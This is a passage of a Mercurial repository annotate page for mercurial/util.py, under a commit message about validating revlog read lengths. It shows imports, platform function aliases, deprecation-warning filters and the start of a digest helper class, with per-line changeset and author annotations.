Mercurial > hg
annotate mercurial/util.py @ 40626:87a872555e90
revlog: detect incomplete revlog reads
_readsegment() is supposed to return N bytes of revlog revision
data starting at a file offset. Surprisingly, its behavior before
this patch never verified that it actually read and returned N
bytes! Instead, it would perform the read(), then return whatever
data was available. And even more surprisingly, nothing in the
call chain appears to have been validating that it received all
the data it was expecting.
This behavior could lead to partial or incomplete revision chunks
being operated on. This could result in e.g. cached deltas being
applied against incomplete base revisions. The delta application
process would happily perform this operation. Only hash
verification would detect the corruption and save us.
This commit changes the behavior of raw revlog reading to validate
that we actually read() the number of bytes that were requested.
We will raise a more specific error faster, rather than possibly
have it go undetected or manifest later in the call stack, at
delta application or hash verification.
Differential Revision: https://phab.mercurial-scm.org/D5266
author | Gregory Szorc <gregory.szorc@gmail.com> |
---|---|
date | Tue, 13 Nov 2018 12:30:59 -0800 |
parents | 3c89227788a2 |
children | 475921a3028c |
rev | line source |
---|---|
17515 | 1 # util.py - Mercurial utility functions and platform specific implementations |
8226
8b2cd04a6e97
put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents:
8225
diff
changeset
|
2 # |
8b2cd04a6e97
put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents:
8225
diff
changeset
|
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com> |
8b2cd04a6e97
put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents:
8225
diff
changeset
|
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> |
8b2cd04a6e97
put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents:
8225
diff
changeset
|
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> |
8b2cd04a6e97
put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents:
8225
diff
changeset
|
6 # |
8b2cd04a6e97
put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents:
8225
diff
changeset
|
7 # This software may be used and distributed according to the terms of the |
10263 | 8 # GNU General Public License version 2 or any later version. |
1082 | 9 |
17515 | 10 """Mercurial utility functions and platform specific implementations. |
1082 | 11 |
8227
0a9542703300
turn some comments back into module docstrings
Martin Geisler <mg@lazybytes.net>
parents:
8226
diff
changeset
|
12 This contains helper routines that are independent of the SCM core and |
0a9542703300
turn some comments back into module docstrings
Martin Geisler <mg@lazybytes.net>
parents:
8226
diff
changeset
|
13 hide platform-specific details from the core. |
1082 | 14 """ |
419
28511fc21073
[PATCH] file seperator handling for the other 'OS'
mpm@selenic.com
parents:
diff
changeset
|
15 |
34137
a8994d08e4a2
doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents:
34134
diff
changeset
|
16 from __future__ import absolute_import, print_function |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
17 |
33793
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
18 import abc |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
19 import bz2 |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
20 import collections |
33446
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
21 import contextlib |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
22 import errno |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
23 import gc |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
24 import hashlib |
34554
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
25 import itertools |
34295
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
26 import mmap |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
27 import os |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
28 import platform as pyplatform |
21907
7e5dfa00e3c2
util: rename 're' to 'remod'
Siddharth Agarwal <sid0@fb.com>
parents:
21857
diff
changeset
|
29 import re as remod |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
30 import shutil |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
31 import socket |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
32 import stat |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
33 import sys |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
34 import time |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
35 import traceback |
31950
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
36 import warnings |
26266
1e042e31bd0c
changegroup: move all compressions utilities in util
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
26201
diff
changeset
|
37 import zlib |
3769 | 38 |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
39 from .thirdparty import ( |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
40 attr, |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
41 ) |
39259
e00123f63410
util: make timedcm require the label (API)
Augie Fackler <augie@google.com>
parents:
39258
diff
changeset
|
42 from hgdemandimport import tracing |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
43 from . import ( |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
44 encoding, |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
45 error, |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
46 i18n, |
35582
72b91f905065
py3: use node.hex(h.digest()) instead of h.hexdigest()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
35513
diff
changeset
|
47 node as nodemod, |
32367
a9c71d578a1c
osutil: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents:
32306
diff
changeset
|
48 policy, |
28818
6041fb8f2da8
pycompat: add empty and queue to handle py3 divergence
timeless <timeless@mozdev.org>
parents:
28497
diff
changeset
|
49 pycompat, |
34467
192f7b126ed2
urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents:
34435
diff
changeset
|
50 urllibcompat, |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
51 ) |
37083
f99d64e8a4e4
stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents:
37082
diff
changeset
|
52 from .utils import ( |
37118
5be286db5fb5
procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents:
37117
diff
changeset
|
53 procutil, |
37083
f99d64e8a4e4
stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents:
37082
diff
changeset
|
54 stringutil, |
f99d64e8a4e4
stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents:
37082
diff
changeset
|
55 ) |
3769 | 56 |
32368
008d37c4d783
base85: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents:
32367
diff
changeset
|
57 base85 = policy.importmod(r'base85') |
32367
a9c71d578a1c
osutil: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents:
32306
diff
changeset
|
58 osutil = policy.importmod(r'osutil') |
32372
df448de7cf3b
parsers: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents:
32368
diff
changeset
|
59 parsers = policy.importmod(r'parsers') |
32367
a9c71d578a1c
osutil: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents:
32306
diff
changeset
|
60 |
32201
4462a981e8df
base85: proxy through util module
Yuya Nishihara <yuya@tcha.org>
parents:
32154
diff
changeset
|
61 b85decode = base85.b85decode |
4462a981e8df
base85: proxy through util module
Yuya Nishihara <yuya@tcha.org>
parents:
32154
diff
changeset
|
62 b85encode = base85.b85encode |
4462a981e8df
base85: proxy through util module
Yuya Nishihara <yuya@tcha.org>
parents:
32154
diff
changeset
|
63 |
31934
12aca6770046
util: make cookielib module available
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31878
diff
changeset
|
64 cookielib = pycompat.cookielib |
30471
00c9ac4ce816
util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents:
30442
diff
changeset
|
65 httplib = pycompat.httplib |
00c9ac4ce816
util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents:
30442
diff
changeset
|
66 pickle = pycompat.pickle |
37099
6ca5f825a0ca
util: make safehasattr() a pycompat function
Yuya Nishihara <yuya@tcha.org>
parents:
37098
diff
changeset
|
67 safehasattr = pycompat.safehasattr |
30471
00c9ac4ce816
util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents:
30442
diff
changeset
|
68 socketserver = pycompat.socketserver |
36958
644a02f6b34f
util: prefer "bytesio" to "stringio"
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36946
diff
changeset
|
69 bytesio = pycompat.bytesio |
644a02f6b34f
util: prefer "bytesio" to "stringio"
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36946
diff
changeset
|
70 # TODO deprecate stringio name, as it is a lie on Python 3. |
644a02f6b34f
util: prefer "bytesio" to "stringio"
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36946
diff
changeset
|
71 stringio = bytesio |
30471
00c9ac4ce816
util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents:
30442
diff
changeset
|
72 xmlrpclib = pycompat.xmlrpclib |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
73 |
34467
192f7b126ed2
urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents:
34435
diff
changeset
|
74 httpserver = urllibcompat.httpserver |
192f7b126ed2
urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents:
34435
diff
changeset
|
75 urlerr = urllibcompat.urlerr |
192f7b126ed2
urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents:
34435
diff
changeset
|
76 urlreq = urllibcompat.urlreq |
192f7b126ed2
urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents:
34435
diff
changeset
|
77 |
32572
377c74ef008d
win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
31952
diff
changeset
|
78 # workaround for win32mbcs |
377c74ef008d
win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
31952
diff
changeset
|
79 _filenamebytestr = pycompat.bytestr |
377c74ef008d
win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
31952
diff
changeset
|
80 |
34645 | 81 if pycompat.iswindows: |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
82 from . import windows as platform |
14912
ec46a7da9f2c
util: move windows and posix wildcard imports to begin of file
Adrian Buehlmann <adrian@cadifra.com>
parents:
14911
diff
changeset
|
83 else: |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
84 from . import posix as platform |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
85 |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
86 _ = i18n._ |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
87 |
29530
3239e2fdd2e2
chgserver: extract utility to bind unix domain socket to long path
Yuya Nishihara <yuya@tcha.org>
parents:
29455
diff
changeset
|
88 bindunixsocket = platform.bindunixsocket |
14927
2aa3e07b2f07
posix, windows: introduce cachestat
Idan Kamara <idankk86@gmail.com>
parents:
14926
diff
changeset
|
89 cachestat = platform.cachestat |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
90 checkexec = platform.checkexec |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
91 checklink = platform.checklink |
15011
5e44e4b3a0a3
util: move copymode into posix.py and windows.py
Adrian Buehlmann <adrian@cadifra.com>
parents:
15010
diff
changeset
|
92 copymode = platform.copymode |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
93 expandglobs = platform.expandglobs |
35513
c4caf530b1c7
util: add a function to show the mount point of the filesystem
Matt Harbison <matt_harbison@yahoo.com>
parents:
35511
diff
changeset
|
94 getfsmountpoint = platform.getfsmountpoint |
35509
beede158ea8a
util: move getfstype() to the platform modules
Matt Harbison <matt_harbison@yahoo.com>
parents:
35460
diff
changeset
|
95 getfstype = platform.getfstype |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
96 groupmembers = platform.groupmembers |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
97 groupname = platform.groupname |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
98 isexec = platform.isexec |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
99 isowner = platform.isowner |
32208
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
100 listdir = osutil.listdir |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
101 localpath = platform.localpath |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
102 lookupreg = platform.lookupreg |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
103 makedir = platform.makedir |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
104 nlinks = platform.nlinks |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
105 normpath = platform.normpath |
15488
6eff984d8e76
dirstate: fix case-folding identity for traditional Unix
Matt Mackall <mpm@selenic.com>
parents:
15392
diff
changeset
|
106 normcase = platform.normcase |
24605
98744856b7d3
util: add normcase spec and fallback
Siddharth Agarwal <sid0@fb.com>
parents:
24439
diff
changeset
|
107 normcasespec = platform.normcasespec |
98744856b7d3
util: add normcase spec and fallback
Siddharth Agarwal <sid0@fb.com>
parents:
24439
diff
changeset
|
108 normcasefallback = platform.normcasefallback |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
109 openhardlinks = platform.openhardlinks |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
110 oslink = platform.oslink |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
111 parsepatchoutput = platform.parsepatchoutput |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
112 pconvert = platform.pconvert |
25420
c2ec81891502
util: add a simple poll utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25406
diff
changeset
|
113 poll = platform.poll |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
114 posixfile = platform.posixfile |
39904
5fe0b880200e
py3: convert os.readlink() path to native strings on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents:
39777
diff
changeset
|
115 readlink = platform.readlink |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
116 rename = platform.rename |
24692
144883a8d0d4
util: add removedirs as platform depending function
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
24635
diff
changeset
|
117 removedirs = platform.removedirs |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
118 samedevice = platform.samedevice |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
119 samefile = platform.samefile |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
120 samestat = platform.samestat |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
121 setflags = platform.setflags |
17560
9ee25d7b1aed
util: implement a faster os.path.split for posix systems
Bryan O'Sullivan <bryano@fb.com>
parents:
17537
diff
changeset
|
122 split = platform.split |
18026
ddc0323db78b
osutil: write a C implementation of statfiles for unix
Bryan O'Sullivan <bryano@fb.com>
parents:
18013
diff
changeset
|
123 statfiles = getattr(osutil, 'statfiles', platform.statfiles) |
18868
cafa447a7d3b
util: add functions to check symlink/exec bits
Bryan O'Sullivan <bryano@fb.com>
parents:
18775
diff
changeset
|
124 statisexec = platform.statisexec |
cafa447a7d3b
util: add functions to check symlink/exec bits
Bryan O'Sullivan <bryano@fb.com>
parents:
18775
diff
changeset
|
125 statislink = platform.statislink |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
126 umask = platform.umask |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
127 unlink = platform.unlink |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
128 username = platform.username |
14912
ec46a7da9f2c
util: move windows and posix wildcard imports to begin of file
Adrian Buehlmann <adrian@cadifra.com>
parents:
14911
diff
changeset
|
129 |
32208
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
130 try: |
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
131 recvfds = osutil.recvfds |
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
132 except AttributeError: |
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
133 pass |
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
134 |
6470
ac0bcd951c2c
python 2.6 compatibility: compatibility wrappers for hash functions
Dirkjan Ochtman <dirkjan@ochtman.nl>
parents:
6339
diff
changeset
|
135 # Python compatibility |
3769 | 136 |
15656
4f5a78fa4917
util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents:
15611
diff
changeset
|
137 _notset = object() |
4f5a78fa4917
util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents:
15611
diff
changeset
|
138 |
30745 | 139 def bitsfrom(container): |
140 bits = 0 | |
141 for bit in container: | |
142 bits |= bit | |
143 return bits | |
144 | |
31950
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
145 # python 2.6 still have deprecation warning enabled by default. We do not want |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
146 # to display anything to standard user so detect if we are running test and |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
147 # only use python deprecation warning in this case. |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
148 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS')) |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
149 if _dowarn: |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
150 # explicitly unfilter our warning for python 2.7 |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
151 # |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
152 # The option of setting PYTHONWARNINGS in the test runner was investigated. |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
153 # However, module name set through PYTHONWARNINGS was exactly matched, so |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
154 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
155 # makes the whole PYTHONWARNINGS thing useless for our usecase. |
31952
a34b5e7c6683
util: pass sysstrs to warnings.filterwarnings
Augie Fackler <augie@google.com>
parents:
31950
diff
changeset
|
156 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial') |
a34b5e7c6683
util: pass sysstrs to warnings.filterwarnings
Augie Fackler <augie@google.com>
parents:
31950
diff
changeset
|
157 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext') |
a34b5e7c6683
util: pass sysstrs to warnings.filterwarnings
Augie Fackler <augie@google.com>
parents:
31950
diff
changeset
|
158 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd') |
36588
281f66777ff0
py3: silence "bad escape" warning emitted by re.sub()
Yuya Nishihara <yuya@tcha.org>
parents:
36585
diff
changeset
|
159 if _dowarn and pycompat.ispy3: |
281f66777ff0
py3: silence "bad escape" warning emitted by re.sub()
Yuya Nishihara <yuya@tcha.org>
parents:
36585
diff
changeset
|
160 # silence warning emitted by passing user string to re.sub() |
281f66777ff0
py3: silence "bad escape" warning emitted by re.sub()
Yuya Nishihara <yuya@tcha.org>
parents:
36585
diff
changeset
|
161 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning, |
281f66777ff0
py3: silence "bad escape" warning emitted by re.sub()
Yuya Nishihara <yuya@tcha.org>
parents:
36585
diff
changeset
|
162 r'mercurial') |
36699
aa9c5d447980
util: also silence py3 warnings from codec module
Augie Fackler <augie@google.com>
parents:
36631
diff
changeset
|
163 warnings.filterwarnings(r'ignore', r'invalid escape sequence', |
aa9c5d447980
util: also silence py3 warnings from codec module
Augie Fackler <augie@google.com>
parents:
36631
diff
changeset
|
164 DeprecationWarning, r'mercurial') |
37455
9ecb7c471cfb
py3: silence warning about deprecation of imp module
Yuya Nishihara <yuya@tcha.org>
parents:
37382
diff
changeset
|
165 # TODO: reinvent imp.is_frozen() |
9ecb7c471cfb
py3: silence warning about deprecation of imp module
Yuya Nishihara <yuya@tcha.org>
parents:
37382
diff
changeset
|
166 warnings.filterwarnings(r'ignore', r'the imp module is deprecated', |
9ecb7c471cfb
py3: silence warning about deprecation of imp module
Yuya Nishihara <yuya@tcha.org>
parents:
37382
diff
changeset
|
167 DeprecationWarning, r'mercurial') |
31950
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
168 |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
169 def nouideprecwarn(msg, version, stacklevel=1): |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
170 """Issue an python native deprecation warning |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
171 |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
172 This is a noop outside of tests, use 'ui.deprecwarn' when possible. |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
173 """ |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
174 if _dowarn: |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
175 msg += ("\n(compatibility will be dropped after Mercurial-%s," |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
176 " update your code.)") % version |
36128
02ed94dd9fd6
util: call warnings.warn() with a sysstr in nouideprecwarn
Augie Fackler <augie@google.com>
parents:
36038
diff
changeset
|
177 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1) |
31950
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
178 |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
179 DIGESTS = { |
29342
c27dc3c31222
util: drop local aliases for md5, sha1, sha256, and sha512
Augie Fackler <raf@durin42.com>
parents:
29324
diff
changeset
|
180 'md5': hashlib.md5, |
c27dc3c31222
util: drop local aliases for md5, sha1, sha256, and sha512
Augie Fackler <raf@durin42.com>
parents:
29324
diff
changeset
|
181 'sha1': hashlib.sha1, |
c27dc3c31222
util: drop local aliases for md5, sha1, sha256, and sha512
Augie Fackler <raf@durin42.com>
parents:
29324
diff
changeset
|
182 'sha512': hashlib.sha512, |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
183 } |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
184 # List of digest types from strongest to weakest |
27357
7f5a0bd4c9aa
util: make hashlib import unconditional
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27112
diff
changeset
|
185 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5'] |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
186 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
187 for k in DIGESTS_BY_STRENGTH: |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
188 assert k in DIGESTS |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
189 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
190 class digester(object): |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
191 """helper to compute digests. |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
192 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
193 This helper can be used to compute one or more digests given their name. |
4d58f4083148
util: add a helper class to compute digests
